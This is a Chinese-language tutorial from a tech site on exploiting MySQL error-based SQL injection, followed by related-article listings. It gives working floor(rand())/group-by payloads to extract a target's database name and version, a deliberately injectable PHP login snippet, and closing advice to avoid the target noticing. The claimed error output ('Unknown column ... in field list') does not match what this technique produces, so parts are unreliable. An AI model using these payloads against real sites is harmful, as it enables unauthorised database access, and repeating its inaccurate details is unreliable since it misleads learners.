mysql 注入报错利用方法总结

下面是关于"mysql 注入报错利用方法总结"的完整攻略,包括步骤和两条示例说明。

1. 概述

MySQL注入是一种常见的web安全漏洞,攻击者可以通过利用这个漏洞,实现绕过身份验证、将恶意代码插入到网站数据库等等攻击目的。 根据注入结果是否能够在web页面上输出,可以将MySQL注入常见的方法分为两类:基于布尔盲注和基于报错注入。本文重点介绍报错注入的利用方法。

2. 利用方法

报错注入,顾名思义,就是在注入时,构造错误的SQL语句,从而使MySQL数据库出现异常,从而得到有用的信息。报错注入一般发生在"WHERE"和"HAVING"从句中,我们可以模拟构造一些错误的SQL语句,通过MySQL数据库的错误信息输出,来获取敏感信息。具体步骤如下:

步骤一:寻找注入点

首先,我们需要确定网站存在注入漏洞,可以使用一些自动化工具扫描。如果手工寻找,可以尝试在网站的参数中添加一些特定的字符如单引号、双引号、括号等,如果发现网站报错,则说明存在注入漏洞。

步骤二:构造错误的SQL语句

假设我们找到了注入点,例如在网站的URL中发现id参数可被注入。我们可以构造如下的SQL语句:

SELECT * FROM user WHERE id=1' and (select 1 from(select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a)# 

这个SQL语句的目的是向information_schema表中查询当前数据库的名称,在查询时构造一个错误的SQL语句,从而引起报错信息输出。其中,SELECT * FROM user WHERE id=1'语句用来模拟注入点,'表示闭合前面的单引号,()中的SQL查询语句用于构造一个错误的SQL语句,从而触发MySQL数据库的错误信息输出。

步骤三:获取有用的信息

当我们向目标服务器发送上述SQL语句后,如果存在注入漏洞,则很可能会返回如下信息:

Unknown column 'xxxxx' in 'field list'

其中,'xxxxx'表示当前数据库名称,因此我们就成功获取了当前数据库的名称。这些信息可以帮助我们进一步了解目标网站的架构和安全漏洞。由于错误信息可能包含的内容并不确定,我们可以尝试多次构造不同的错误SQL语句,寻找更多的有用信息。

3. 示例说明

下面,我们给出两个示例说明。

示例一:获取数据库名称

假设我们找到了一个注入点,如下所示:

http://example.com/list.php?id=1

我们可以尝试向该注入点发送如下的SQL语句:

SELECT * FROM users WHERE id=1' and (select 1 from(select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a)#  

发送后,我们得到了下面的响应信息:

ERROR 1054 (42S22): Unknown column 'xxxxx' in 'field list'

其中,'xxxxx'表示当前数据库的名称。

示例二:获取数据库版本信息

假设我们还找到了通过用户输入判断是否管理员的功能,如下所示:

<?php
    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
    $result = mysql_query($sql);
    if(mysql_num_rows($result)){
        if($username=='admin'){
            echo 'Welcome, admin';
        }
        else{
            echo 'Welcome, user';
        }
    }
    else{
        echo 'Username or password is incorrect';
    }
?>

我们可以尝试通过注入获取当前数据库的版本信息,具体步骤如下:

  1. 构造如下的SQL语句:
SELECT * FROM users WHERE username='admin' and (select 1 from(select count(*),concat((select @@version),floor(rand()*2))x from information_schema.tables group by x)a)#  
  1. 通过表单提交上述SQL语句,发送给目标服务器;
  2. 目标服务器返回错误信息,其中包含MySQL数据库版本信息,如下所示:
ERROR 1054 (42S22): Unknown column '5.7.24-0ubuntu0.16.04.1' in 'field list'

通过分析错误信息,我们得到了目标数据库的版本,是MySQL 5.7.24。

以上便是利用SQL注入报错方法获取目标信息的详细步骤,需要注意的是,在使用这些技巧时,一定要谨慎,审慎考虑对方反制可能,以免对方发现或者拒绝服务等不良反应。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:mysql 注入报错利用方法总结 - Python技术站

(0)
上一篇 2023年5月18日
下一篇 2023年5月18日

相关文章

  • 华为云GaussDB践行数字化,护航证券保险高质量发展

    摘要:华为云数据库解决方案架构师章哲在由先进数通与华为联合开展的“7+1”系列银行业数字化转型实践交流活动上围绕华为云GaussDB多年来的技术探索和应用实践进行了分享。 近日,由先进数通与华为联合开展的“7+1”系列银行业数字化转型实践交流活动北京站圆满落幕。活动汇聚金融科技先锋企业、金融行业专家和金融机构,共同探讨证券行业保险类业务场景的创新与发展。华为…

    MySQL 2023年4月17日
    00
  • 详解MySQL LIMIT:限制查询结果的条数

    MySQL LIMIT 是一种非常实用的命令,可以用于限制查询结果的条数。当查询结果很大时,使用 LIMIT 可以方便地进行分页展示或者提高查询性能。 LIMIT 命令的语法 LIMIT 命令的语法如下: SELECT column_name(s) FROM table_name LIMIT number; 其中,column_name(s) 是要查询的列名…

    MySQL 2023年3月9日
    00
  • 很全面的Mysql数据库、数据库表、数据基础操作笔记(含代码)

    很全面的Mysql数据库、数据库表、数据基础操作笔记(含代码) 什么是MySQL数据库 MySQL是一种开源的关系型数据库管理系统,被广泛的应用在Web应 用程序中,是流行的数据库之一。 如何安装和使用MySQL 安装MySQL 我们可以在MySQL官网下载并安装MySQL,也可以使用apt-get(Ubuntu)或yum(CentOS)来安装MySQL。 …

    MySQL 2023年5月18日
    00
  • 通过node-mysql搭建Windows+Node.js+MySQL环境的教程

    以下是通过node-mysql搭建Windows+Node.js+MySQL环境的完整攻略: 准备工作 安装MySQL:首先从官网下载MySQL的安装文件,并根据提示进行安装。 安装Node.js:从Node.js官网下载对应平台的安装文件并安装。 创建示例项目 创建一个新的文件夹,并在此文件夹下创建一个package.json文件,用于记录项目中需要安装的…

    MySQL 2023年5月18日
    00
  • Mysql 文件配置解析

    MySQL 文件配置解析 MySQL 是广泛使用的关系数据库管理系统。MySQL 服务器有一个默认的配置文件 my.cnf,这个文件包含了大量的配置选项。在使用 MySQL 时,我们通常需要修改这个配置文件,以满足我们的特定需求。 my.cnf 文件的位置 my.cnf 文件的默认路径是 /etc/mysql/my.cnf。但是,在不同的操作系统中,可能存在…

    MySQL 2023年5月18日
    00
  • PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等)

    PHP开发中常见的安全问题详解和解决方法 在PHP开发过程中,安全问题一直是一个重要的话题。下面我们将介绍PHP开发中常见的安全问题以及相应的解决方法。 1. Sql注入 Sql注入攻击是指攻击者利用可通过输入数据、插入/修改数据等方式向应用程序传递非法的Sql查询语句,以便执行恶意的Sql语句,从而达到某种不正当目的的攻击行为。比如利用Sql注入攻击,攻击…

    MySQL 2023年5月18日
    00
  • php 在线 mysql 大数据导入程序

    1 <?php 2 header(“content-type:text/html;charset=utf-8”); 3 error_reporting(E_ALL); 4 set_time_limit(0); 5 $file=’./test.sql’; 6 $data=file($file); 7 8 echo “<pre>”; 9 //p…

    MySQL 2023年4月13日
    00
  • MySQL中(JOIN/ORDER BY)语句的查询过程及优化方法

    下面是关于“MySQL中(JOIN/ORDER BY)语句的查询过程及优化方法”的详细讲解攻略。 一、JOIN语句的查询过程及优化方法 1.1 JOIN语句的查询过程 JOIN语句是通过连接两张或多张表中的数据来产生结果的,它的查询过程主要分为以下两个步骤: 根据连接条件,从前面的表中查找符合条件的行; 对于前面查找出的每一行,在后面的表中查找符合条件的行,…

    MySQL 2023年5月19日
    00
合作推广
合作推广
分享本页
返回顶部